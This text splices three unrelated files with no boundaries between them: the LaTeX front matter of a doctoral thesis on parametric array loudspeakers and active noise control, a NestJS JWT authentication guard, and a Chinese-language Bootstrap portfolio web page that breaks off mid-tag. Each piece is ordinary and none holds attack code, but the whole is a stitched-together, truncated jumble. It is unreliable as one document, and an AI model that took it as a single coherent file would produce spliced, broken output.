bibtex, % style = numeric, % % style = apa, % doi = false, % natbib = true, % sorting = none, % sortcites = true, % ]{biblatex} % Use the bibtex backend with the authoryear citation style (which resembles APA) \usepackage[ backend = bibtex, natbib = true, doi = false, style = numeric-comp, bibstyle = numeric-comp, sorting = none, sortcites = true, isbn = false, doi = false, maxbibnames=99]{biblatex} % Use the bibtex backend with the authoryear citation style (which resembles APA) \addbibresource{zotero.bib} % The filename of the bibliography \usepackage[autostyle=true]{csquotes} % Required to generate language-dependent quotes in the bibliography %---------------------------------------------------------------------------------------- % FIGURE SETTINGS %---------------------------------------------------------------------------------------- %---------------------------------------------------------------------------------------- % MARGIN SETTINGS %---------------------------------------------------------------------------------------- \geometry{ paper = a4paper, % Change to letterpaper for US letter inner = 2.54cm, % Inner margin outer = 2.54cm, % Outer margin % outer = 3.8cm, % Outer margin % bindingoffset = .5cm, % Binding offset bindingoffset = 0cm, % Binding offset top = 1.5cm, % Top margin bottom = 1.5cm, % Bottom margin %showframe, % Uncomment to show how the type block is set on the page } \newcommand{\revision}[1]{\textcolor{red}{#1}} %---------------------------------------------------------------------------------------- % THESIS INFORMATION %---------------------------------------------------------------------------------------- \thesistitle{Parametric Array Loudspeakers and Applications in Active Noise Control} % Your thesis title, this is used in the title and abstract, print it elsewhere with \ttitle \supervisor{Prof. \href{mailto:[email protected]}{Ray \textsc{Kirby}}\\ Dr. \href{mailto:[email protected]}{Mahmoud \textsc{Karimi}}\\ Prof. \href{mailto:[email protected]}{Xiaojun \textsc{Qiu}}} % Your supervisor's name, this is used in the title page, print it elsewhere with \supname \examiner{} % Your examiner's name, this is not currently used anywhere in the template, print it elsewhere with \examname \degree{Doctor of Philosophy} % Your degree name, this is used in the title page and abstract, print it elsewhere with \degreename \author{Jiaxin \textsc{Zhong}} % Your name, this is used in the title page and abstract, print it elsewhere with \authorname \addresses{} % Your address, this is not currently used anywhere in the template, print it elsewhere with \addressname \subject{} % Your subject area, this is not currently used anywhere in the template, print it elsewhere with \subjectname \keywords{} % Keywords for your thesis, this is not currently used anywhere in the template, print it elsewhere with \keywordnames \university{\href{http://www.uts.edu.au}{University of Technology Sydney}} % Your university's name and URL, this is used in the title page and abstract, print it elsewhere with \univname \department{\href{https://www.uts.edu.au/about/faculty-engineering-and-information-technology/mechanical-and-mechatronic-engineering}{School of Mechanical and Mechatronic Engineering (MME)}} % Your department's name and URL, this is used in the title page and abstract, print it elsewhere with \deptname \group{\href{https://www.uts.edu.au/research-and-teaching/our-research/centre-audio-acoustics-and-vibration}{Centre for Audio, Acoustics and Vibration (CAAV)}} % Your research group's name and URL, this is used in the title page, print it elsewhere with \groupname \faculty{\href{https://www.uts.edu.au/about/faculty-engineering-and-information-technology}{Faculty of Engineering and Information Technology}} % Your faculty's name and URL, this is used in the title page and abstract, print it elsewhere with \facname \AtBeginDocument{ \hypersetup{pdftitle=\ttitle} % Set the PDF's title to your title \hypersetup{pdfauthor=\authorname} % Set the PDF's author to your name \hypersetup{pdfkeywords=\keywordnames} % Set the PDF's keywords to your keywords } \usepackage{soul} \sethlcolor{white} \newcommand{\revA}[1]{\hl{#1}} % \newcommand{\revA}[1]{{#1}} \begin{document} \frontmatter % Use roman page numbering style (i, ii, iii, iv...) for the pre-content pages \pagestyle{plain} % Default to the plain heading style until the thesis style is called for the body content %---------------------------------------------------------------------------------------- % TITLE PAGE %---------------------------------------------------------------------------------------- \begin{titlepage} \begin{center} \vspace*{.06\textheight} {\scshape\LARGE \univname\par}\vspace{1.5cm} % University name \textsc{\Large Doctoral Thesis}\\[0.5cm] % Thesis type \HRule \\[0.4cm] % Horizontal line {\huge \bfseries \ttitle\par}\vspace{0.4cm} % Thesis title \HRule \\[1.5cm] % Horizontal line \begin{minipage}[t]{0.4\textwidth} \begin{flushleft} \large \emph{Author:}\\ % \href{http://www.johnsmith.com}{\authorname} % Author name - remove the \href bracket to remove the link \href{http://jiaxinzhong.com/}{\authorname} % Author name - remove the \href bracket to remove the link \end{flushleft} \end{minipage} \begin{minipage}[t]{0.4\textwidth} \begin{flushright} \large \emph{Supervisors:} \\ % {A/Prof. \href{[email protected]}{Ray \textsc{Kirby}}\\ Dr. \href{[email protected]}{Mahmoud \textsc{Karimi}}\\ Prof. \href{[email protected]}{Xiaojun \textsc{Qiu}}} % Supervisor name - remove the \href bracket to remove the link {\supname} % Supervisor name - remove the \href bracket to remove the link % \href{http://www.jamessmith.com}{\supname} % Supervisor name - remove the \href bracket to remove the link \end{flushright} \end{minipage}\\[3cm] \vfill \large \textit{A thesis submitted in fulfillment of the requirements\\ for the degree of \degreename}\\[0.3cm] % University requirement text \textit{in the}\\[0.4cm] \groupname\\\deptname\\[2cm] % Research group name and department name \vfill {\large \today}\\[4cm] % Date %\includegraphics{Logo} % University/department logo - uncomment to place it \vfill \end{center} \end{titlepage} \addcontentsline{toc}{chapter}{Titlepage} %---------------------------------------------------------------------------------------- % DECLARATION PAGE %---------------------------------------------------------------------------------------- \begin{declaration} \addchaptertocentry{\authorshipname} % Add the declaration to the table of contents \noindent I, \authorname, declare that this thesis entitled, \enquote{\ttitle}, is submitted in fulfilment of the requirements for the award of Doctorate of Philosophy in the school of Mechanical and Mechatronic Engineering at the University of Technology Sydney. The work presented within is my own. I confirm that: \begin{itemize} \item This thesis is wholly my own work unless otherwise referenced or acknowledged. In addition, I certify that all information sources and literature used are indicated in the thesis. \item This document has not been submitted for qualifications at any other academic institution. \item This research is supported by the Australian Government Research Training Program. % \item I have acknowledged all main sources of help; % \item where the thesis is based on work done by myself jointly with others, I have made clear exactly what was done by others and what I have contributed myself.\\ \end{itemize} \noindent Signature: \includegraphics[width = 4cm]{fig/Signature-EN1-20181030.jpg}\\ \rule[0.5em]{25em}{0.5pt} % This prints a line for the signature \noindent Date: 27 Jan 2022 \\ \rule[0.5em]{25em}{0.5pt} % This prints a line to write the date \end{declaration} \cleardoublepage %---------------------------------------------------------------------------------------- % QUOTATION PAGE %---------------------------------------------------------------------------------------- % \vspace*{0.2\textheight} % \noindent\enquote{\itshape Thanks to my solid academic training, today I can write hundreds of words on virtually any topic without possessing a shred of information, which is how I got a good job in journalism.}\bigbreak % \hfill Dave Barry %---------------------------------------------------------------------------------------- % ABSTRACT PAGE %---------------------------------------------------------------------------------------- \input{abstract} %---------------------------------------------------------------------------------------- % PUBLICATIONS %---------------------------------------------------------------------------------------- \begin{frontmatterpage}{List of Publications} \addchaptertocentry{List of Publications} \label{chap:publication} Much of this work has either been published or submitted for publication as journal papers and conference proceedings. The list is as follows: \noindent \paragraph{In journals} \begin{outline}[enumerate] \1 \textbf{Jiaxin Zhong}, Ray Kirby, Mahmoud Karimi, Haishan Zou, and Xiaojun Qiu. \quotes{Scattering by a Rigid Sphere of Audio Sound Generated by a Parametric Array Loudspeaker}. In: \textit{The Journal of the Acoustical Society of America} 151.3 (2022), pp. 1615--1626. \1 \textbf{Jiaxin Zhong}, Tao Zhuang, Ray Kirby, Mahmoud Karimi, Haishan Zou, and Xiaojun Qiu. \quotes{Quiet Zone Generation in a Free Field with Multiple Parametric Array Loudspeakers}. In: \textit{The Journal of the Acoustical Society of America} 151.2 (2022), pp. 1235--1245. \1 \textbf{Jiaxin Zhong}, Ray Kirby, Mahmoud Karimi, and Haishan Zou. \quotes{A Cylindrical Expansion of the Audio Sound for a Steerable Parametric Array Loudspeaker}. In: \textit{The Journal of the Acoustical Society of America} 150.5 (2021), pp. 3797--3806. \1 \textbf{Jiaxin Zhong}, Ray Kirby, and Xiaojun Qiu. \quotes{The Near Field, Westervelt Far Field, and Inverse-Law Far Field of the Audio Sound Generated by Parametric Array Loudspeakers}. In: \textit{The Journal of the Acoustical Society of America} 149.3 (2021), pp. 1524--1535. \1 \textbf{Jiaxin Zhong} and Xiaojun Qiu. \quotes{On the Spherical Expansion for Calculating the Sound Radiated by a Baffled Circular Piston}. In: \textit{Journal of Theoretical and Computational Acoustics} (2020), p. 2050026. \1 \textbf{Jiaxin Zhong}, Shuping Wang, Ray Kirby, and Xiaojun Qiu. \quotes{Reflection of Audio Sounds Generated by a Parametric Array Loudspeaker}. In: \textit{The Journal of the Acoustical Society of America} 148.4 (2020), pp. 2327--2336. \1 \textbf{Jiaxin Zhong}, Shuping Wang, Ray Kirby, and Xiaojun Qiu. \quotes{Insertion Loss of a Thin Partition for Audio Sounds Generated by a Parametric Array Loudspeaker}. In: \textit{The Journal of the Acoustical Society of America} 148.1 (2020), pp. 226--235. \1 \textbf{Jiaxin Zhong}, Ray Kirby, and Xiaojun Qiu. \quotes{A Spherical Expansion for Audio Sounds Generated by a Circular Parametric Array Loudspeaker}. In: \textit{The Journal of the Acous- tical Society of America} 147.5 (2020), pp. 3502--3510. \1 \textbf{Jiaxin Zhong}, Ray Kirby, and Xiaojun Qiu. \quotes{A Non-Paraxial Model for the Audio Sound behind a Non-Baffled Parametric Array Loudspeaker (L)}. In: \textit{The Journal of the Acoustical Society of America} 147.3 (2020), pp. 1577--1580. \1 \textbf{Jiaxin Zhong}, Tao Zhuang, Ray Kirby, Mahmoud Karimi, Xiaojun Qiu, Haishan Zou, Jing Lu, \quotes{Audio Sound Field Generated by a Focusing Parametric Array Loudspeaker}, In: \textit{IEEE Trasactions on Audio, Speech, and Language Processing} Under Review (2022). \end{outline} \noindent \paragraph{In conference proceedings} \begin{outline}[enumerate] \1 \textbf{Jiaxin Zhong}, Tong Xiao, Benjamin Halkon, Ray Kirby, and Xiaojun Qiu. \quotes{An Experimental Study on the Active Noise Control Using a Parametric Array Loudspeaker}. In: \textit{InterNoise 2020}. Seoul, Korea, 2020. \end{outline} The following publications are also outcomes during the PhD candidature, but not included in this thesis: \noindent \paragraph{In journals} \begin{outline}[enumerate] \1 \textbf{Jiaxin Zhong}, Baicun Chen, Jianchen Tao, and Xiaojun Qiu. \quotes{The Performance of Active Noise Control Systems on Ground with Two Parallel Reflecting Surfaces}. In: \textit{The Journal of the Acoustical Society of America} 147.5 (2020), pp. 3397--3407. \1 \textbf{Jiaxin Zhong}, Jiancheng Tao, and Xiaojun Qiu. \quotes{Increasing the Performance of Active Noise Control Systems on Ground with Two Vertical Reflecting Surfaces with an Included Angle}. In: \textit{The Journal of the Acoustical Society of America} 146.6 (2019), pp. 4075--4085. \1 Shuping Wang, \textbf{Jiaxin Zhong}, Xiaojun Qiu, and Ian Burnett. \quotes{A Note on Using Panel Diffusers to Improve Sound Field Diffusivity in Reverberation Rooms below 100 Hz}. In: \textit{Applied Acoustics} 169 (2020), p. 107471. \end{outline} \noindent \paragraph{In conference proceedings} \begin{outline}[enumerate] \1 \textbf{Jiaxin Zhong}, Jiancheng Tao, and Xiaojun Qiu. \quotes{A Numerical Study on Active Noise Radiation Control Systems between Two Parallel Reflecting Surfaces}. In: \textit{The 18th Asia-Pacific Vibration Conference}. Sydney, Australia, 2019. \1 Xiaojun Qiu, Qiaoxi Zhu, Shuping Wang, and \textbf{Jiaxin Zhong}. \quotes{A Case Study on the New Reverberation Room Built in University of Technology Sydney}. In: \textit{Proceedings of the 23rd International Congress on Acoustics}. Aachen, Germany, 2019. \end{outline} \end{frontmatterpage} %---------------------------------------------------------------------------------------- % ACKNOWLEDGEMENTS %---------------------------------------------------------------------------------------- \begin{acknowledgements} \addchaptertocentry{\acknowledgementname} % Add the acknowledgements to the table of contents \noindent Throughout the preparing and writing of this thesis, I have received a great deal of support and assistance. First of all, I would like to thank my principal supervisor, \revA{Prof.} Ray Kirby, and my co-supervisor, Dr. Mahmoud Karimi, whose expertise is invaluable in supervising my research and writing academic articles. Your insightful feedback and comments pushed me to sharpen my thinking and brought my work to a high level. I would also like to express my sincere gratitude to my previous principal supervisor, Prof. Xiaojun Qiu, for his guidance, encouragement, and support during my PhD candidature. I am grateful to my teammates at UTS, Dr. Benjamin Halkon, Dr. Sipei Zhao, Dr. Shuping Wang, Dr. Qiaoxi Zhu, Dr. Somanath Pradhan, Mr. Tong Xiao, Mr. Mitchell Cullen, for their valuable assistance and suggestions on my research work. Thanks to all staff members of the School of Mechanical and Mechatronic Engineering for always being friendly and helpful. The financial support from the Australian Research Council through the Linkage Project (LP160100616) is acknowledged. Furthermore, I would like to thank Mr. Tao Zhuang, Mr. Kangkang Wang, Dr. Chengbo Hu, Dr. Haishan Zou, Dr. Kai Chen, Dr. Zhibin Lin, A/Prof. Jianchen Tao, and Prof. Jing Lu in Nanjing University for their kind support when I was stuck in China during the COVID-19 pandemic. I thank you for giving the access to acoustics labs in Nanjing University. Without your support, I could not conduct experiments to finish my thesis. Finally, I would like to express my endless gratitude to my parents, Mr. Ruiliang Zhong and Ms. Weiguo Liao, for their wise counsel, sympathetic ear, and unconditional support. You are always there for me. % This research was supported by the Australian Research Council’s Linkage Project funding scheme (LP160100616). The second and fifth authors also gratefully acknowledge the financial support by National Natural Science Foundation of China (11874219). The authors would like to thank Mr. Tong Xiao for conducting some preliminary experiments at University of Technology Sydney. \end{acknowledgements} %---------------------------------------------------------------------------------------- % LIST OF CONTENTS/FIGURES/TABLES PAGES %---------------------------------------------------------------------------------------- % { % \hypersetup{hidelinks} \tableofcontents % Prints the main table of contents % } \addcontentsline{toc}{chapter}{Contents} \listoffigures % Prints the list of figures \addcontentsline{toc}{chapter}{List of Figures} \listoftables % Prints the list of tables \addcontentsline{toc}{chapter}{List of Tables} %---------------------------------------------------------------------------------------- % ABBREVIATIONS %---------------------------------------------------------------------------------------- \input{abbreviations} %---------------------------------------------------------------------------------------- % PHYSICAL CONSTANTS/OTHER DEFINITIONS %---------------------------------------------------------------------------------------- % \begin{constants}{lr@{${}={}$}l} % The list of physical constants is a three column table % The \SI{}{} command is provided by the siunitx package, see its documentation for instructions on how to use it % $c_{0}$ & linear speed of sound & \SI{343}{m/s} at ?? \\ % $\rho_0$ & linear ambient density of air & \SI{1.21}{kg/s^3}\\ % $\beta$ & the nonlinear coefficient in air & 1.2\\ % $\uppi$ & Pi & 3.14159 \\ %Constant Name & $Symbol$ & $Constant Value$ with units\\ % \end{constants} %---------------------------------------------------------------------------------------- % SYMBOLS %---------------------------------------------------------------------------------------- \input{symbols} %---------------------------------------------------------------------------------------- % DEDICATION %---------------------------------------------------------------------------------------- % \dedicatory{For/Dedicated to/To my\ldots} %---------------------------------------------------------------------------------------- % THESIS CONTENT - CHAPTERS %---------------------------------------------------------------------------------------- \mainmatter % Begin numeric (1,2,3...) page numbering \pagestyle{thesis} % Return the page headers back to the "thesis" style % Include the chapters of the thesis as separate files from the Chapters folder % Uncomment the lines as you write the chapters \include{Chapters/Chapter1} \include{Chapters/Chapter2} \include{Chapters/Chapter3} \include{Chapters/Chapter4} \include{Chapters/Chapter5} \include{Chapters/Chapter6} \include{Chapters/Chapter7} % \include{Chapters/Chapter0} %---------------------------------------------------------------------------------------- % THESIS CONTENT - APPENDICES %---------------------------------------------------------------------------------------- \appendix % Cue to tell LaTeX that the following "chapters" are Appendices % Include the appendices of the thesis as separate files from the Appendices folder % Uncomment the lines as you write the Appendices \include{Appendices/AppendixA} \include{Appendices/AppendixAbsorption} % \include{Appendices/AppendixB} % \include{Appendices/AppendixC} % \include{Appendices/AppendixEquipment} %---------------------------------------------------------------------------------------- % BIBLIOGRAPHY %---------------------------------------------------------------------------------------- \printbibliography[heading=bibintoc, title = {\revA{References}}] %---------------------------------------------------------------------------------------- \end{document}
import { CanActivate, ExecutionContext, Injectable, UnauthorizedException, } from '@nestjs/common'; import { JwtService } from '@nestjs/jwt'; import { Observable } from 'rxjs'; import { DataBaseService } from 'src/database/database.service'; import { AuthType } from './auth.type'; @Injectable() export class AuthGuard implements CanActivate { constructor(private db: DataBaseService, private jwtService: JwtService) {} async canActivate(context: ExecutionContext): Promise<boolean> { const request = context.switchToHttp().getRequest(); const Authorization = request.headers['authorization']; if (!Authorization) { throw new UnauthorizedException('Usuario sem token'); } try { const token = Authorization.split(' ')[1]; this.jwtService.verify(token); const data = this.jwtService.decode(token) as AuthType; const user = await this.db.user.findUnique({ where: { id: Number(data.id), }, }); if (!user) { throw new UnauthorizedException('Usuarion não encontrado.'); } return true; } catch (err) { throw new UnauthorizedException(err.message); } } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap 的 CSS 文件 --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-xOolHFLEh07PJGoPkLv1IbcEPTNtaed2xpHsD9ESMhqIYd0nLMwNLD69Npy4HI+N" crossorigin="anonymous"> <link rel="stylesheet" href="./css/style.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css"> <link rel="stylesheet" href="./font_z131up9w4ar/iconfont.css"> <title>作品展示</title> </head> <body> <!-- <h1>首页</h1> --> <!-- <a href="./使用jQuery实现手风琴效果/使用jQuery实现手风琴效果.html">手风琴效果</a> --> <header id="header-wrap"> <div id="hero-area" class="hero-area-bg"> <div class="overlay"></div> <div class="container"> <div class="row"> <div class="col-md-12 col-sm-12 text-center"> <div class="contents"> <h5 class="script-font wow InUp">前端网页开发</h5> <h2 class="head-title wow fadeInUp"></h2> <p class="script-font wow fadeInUp"></p> <ul class="social-icon wow fadeInUp"> <li> <a class="facebook" href="#"><i class="iconfont icon-facebook-fill"></i></a> </li> <li> <a class="twitter" href="#"><i class="iconfont icon-niao"></i></a> </li> <li> <a class="instagram" href="#"><i class="iconfont icon-zhaoxiangji"></i></a> </li> <li> <a class="linkedin" href="#"><i class="iconfont icon-linkedin-fill"></i></a> </li> <li> <a class="google" href="#"><i class="iconfont icon-logo-google"></i></a> </li> </ul> </div> </div> </div> </div> </div> </header> <section id="portfolios" class="Remarkable-Works section-padding"> <div class="container"> <h2 class="section-title wow flipInX">我的作品</h2> <div class="row"> <div class="col-md-12"> <div class="controls text-center"> <a class="filter btn btn-common myactive" data-filter="all" id="all"> 所有 </a> <a class="filter btn btn-common" data-filter="Javascript"> CSS3+HTML5 </a> <a class="filter btn btn-common" data-filter="CSS3+HTML5"> Js+jQuery </a> <a class="filter btn btn-common" data-filter="Ajax+jQuery"> Bootstrap </a> <a class="filter btn btn-common" data-filter="HTML+CSS"> 数据可视化 </a> <!-- <a class="filter btn btn-common" data-filter="Bootstrap"> Javascript </a> --> <a class="filter btn btn-common" data-filter="vue"> vue+小程序 </a> <a class="filter btn btn-common" data-filter="Bootstrap"> uni-app+react </a> </div> </div> </div> <div class="row row1"> <!-- <div class="col-md-12"></div> --> <!-- 所有 --> <div id="portfolio" class="tab-content tab-pane"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/拼图 (1).png" alt=""> <div class="overlay"> <div class="icons">拼图小游戏 <a class="lightbox preview" href="image/img/gallery/放大拼图.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/拼图/拼图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix design print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/01音乐播放器.png" alt=""> <div class="overlay"> <div class="icons">音乐播放器 <a class="lightbox preview" href="image/img/gallery/放大音乐播放器.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/h5+css3音乐播放器/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/jq手风琴风景图1(小).png" alt=""> <div class="overlay"> <div class="icons">jQuery实现手风琴效果 <a class="lightbox preview" href="image/img/gallery/jq手风琴风景图1.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/jQuery手风琴风景图/jQuery手风琴风景图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/京东轮播图(小) .png" alt=""> <div class="overlay"> <div class="icons">Js京东轮播图 <a class="lightbox preview" href="image/img/gallery/京东轮播图(大).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/京东轮播图/京东轮播图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item "> <div class="shot-item"> <img src="image/img/gallery/旋转图片.png" alt=""> <div class="overlay"> <div class="icons">旋转图片 <a class="lightbox preview" href="image/img/gallery/放大旋转图片.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/css3 旋转图片/旋转图片.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development design print tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/翻转.png" alt=""> <div class="overlay"> <div class="icons">css3 图片翻转 <a class="lightbox preview" href="image/img/gallery/放大翻转图片.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/css3 图片翻转/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/旅游01.png" alt=""> <div class="overlay"> <div class="icons">旅行风景项目-bootstrap <a class="lightbox preview" href="image/img/gallery/放大bootstrap.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/旅行风景项目-bootstrap/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/可视化1(小).png" alt=""> <div class="overlay"> <div class="icons">数据可视化 <a class="lightbox preview" href="image/img/gallery/可视化1.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/数据可视化/可视化1/数据可视化1.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/可视化2(小).png" alt=""> <div class="overlay"> <div class="icons">数据可视化 <a class="lightbox preview" href="image/img/gallery/可视化2.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/数据可视化/可视化2/可视化2.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/36漫画(小).png" alt=""> <div class="overlay"> <div class="icons">36漫画 <a class="lightbox preview" href="image/img/gallery/36漫画(大).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/01-36漫画演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/文词(小) (1).png" alt=""> <div class="overlay"> <div class="icons">文词app <a class="lightbox preview" href="image/img/gallery/文词(大) (1).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/02-文词app演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix print design tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/珠宝(小).png" alt=""> <div class="overlay"> <div class="icons">MM珠宝微信小程序 <a class="lightbox preview" href="image/img/gallery/首页-列表.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/03-微信小程序演示视频.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab" style="opacity: 0;"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/jq手风琴风景图1(小).png" alt=""> <div class="overlay"> <div class="icons">jQuery实现手风琴效果 <a class="lightbox preview" href="image/img/gallery/放大jQ手风琴.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/使用jQuery实现手风琴效果/使用jQuery实现手风琴效果.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> </div> <!-- c3h5 --> <div id="portfolio" class="tab-content tab-pane" style="display:none"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" id="all" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/拼图 (1).png" alt=""> <div class="overlay"> <div class="icons">拼图小游戏 <a class="lightbox preview" href="image/img/gallery/放大拼图.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/拼图/拼图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix design print tab-pane" id="all" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/01音乐播放器.png" alt=""> <div class="overlay"> <div class="icons">音乐播放器 <a class="lightbox preview" href="image/img/gallery/放大音乐播放器.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/h5+css3音乐播放器/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" id="all" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item "> <div class="shot-item"> <img src="image/img/gallery/旋转图片.png" alt=""> <div class="overlay"> <div class="icons">旋转图片 <a class="lightbox preview" href="image/img/gallery/放大旋转图片.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/css3 旋转图片/旋转图片.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development design print tab-pane" id="all" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/翻转.png" alt=""> <div class="overlay"> <div class="icons">css3 图片翻转 <a class="lightbox preview" href="image/img/gallery/放大翻转图片.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/css3 图片翻转/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> </div> <!-- js+jQuery --> <div id="portfolio" class="tab-content tab-pane" style="display:none"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/京东轮播图(小) .png" alt=""> <div class="overlay"> <div class="icons">Js京东轮播图 <a class="lightbox preview" href="image/img/gallery/京东轮播图(大).png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/京东轮播图/京东轮播图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane " role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="./image/img/gallery/jq手风琴风景图1(小).png" alt=""> <div class="overlay"> <div class="icons">jQuery实现手风琴效果 <a class="lightbox preview" href="./image/img/gallery/jq手风琴风景图1.png" target="_blank" href="javascript:history.back (-1)"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/jQuery手风琴风景图/jQuery手风琴风景图.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> </div> <!-- bootstrap --> <div id="portfolio" class="tab-content tab-pane" style="display:none"> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" role="tabpanel" aria-labelledby="home-tab"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/旅游01.png" alt=""> <div class="overlay"> <div class="icons">旅行风景项目-bootstrap <a class="lightbox preview" href="image/img/gallery/放大bootstrap.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/旅行风景项目-bootstrap/index.html"><i class="bi bi-link-45deg"></i></i></a> </div> </div> </div> </div> </div> <div class="col-sm-6 col-md-4 col-lg-4 col-xl-4 mix development print tab-pane" role="tabpanel" aria-labelledby="home-tab" style="opacity: 0;"> <div class="portfolio-item"> <div class="shot-item"> <img src="image/img/gallery/旅游01.png" alt=""> <div class="overlay"> <div class="icons">旅行风景项目-bootstrap <a class="lightbox preview" href="image/img/gallery/放大bootstrap.png" target="_blank"> <i class="bi bi-eye"></i> </a> <a class="link" href="./项目/旅行风景项目-bootstrap/index.html"><i class="bi 